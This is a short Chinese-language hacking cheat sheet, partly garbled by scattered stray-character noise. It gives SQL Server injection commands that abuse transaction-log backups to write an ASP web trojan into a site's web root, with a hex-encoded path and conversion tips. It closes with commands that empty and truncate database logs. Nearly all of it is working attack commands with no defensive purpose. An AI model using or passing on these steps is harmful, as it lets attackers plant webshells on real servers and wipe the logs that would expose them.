差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录
% [+ i6 U9 ^" E$ m9 t; @
# U" l% W7 s$ o- x" [0 u6 C6 }1 f8 \9 Wselect name from master.dbo.sysdatabases 仅列出name列的记录

$ n- j% O. V2 ?注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
$ _) P- s$ s& S6 U, O
alter database 数据库名 set RECOVERY FULL--
4 J2 r# a; I. n$ \9 j! I: w4 Z
: }5 v0 T9 ^8 ^6 B' u* rcreate table cmd (a image)--                    \**cmd是创建的临时表

8 @$ T9 Q: ?7 o6 ebackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--

2 g! ^) A6 v' f+ Einsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

/ d9 m7 b3 O& |$ Z0 \  w//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

: A* }- @  {8 N2 Y+ F) jdrop table cmd--
, O3 V/ w( ^' Y

! F; K% M1 Y! E% s1 k8 P' @9 Af:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

9 E! T1 V8 K4 u1 R9 v( d" h最好多加几个回车0d0a,要不会出错哈


SQL   Server日志清空方法   

8 q' n9 ?) J9 L# j3 a- {在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
& r. m$ ^5 @6 J* E( ?
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)   
! p. o) `: x: i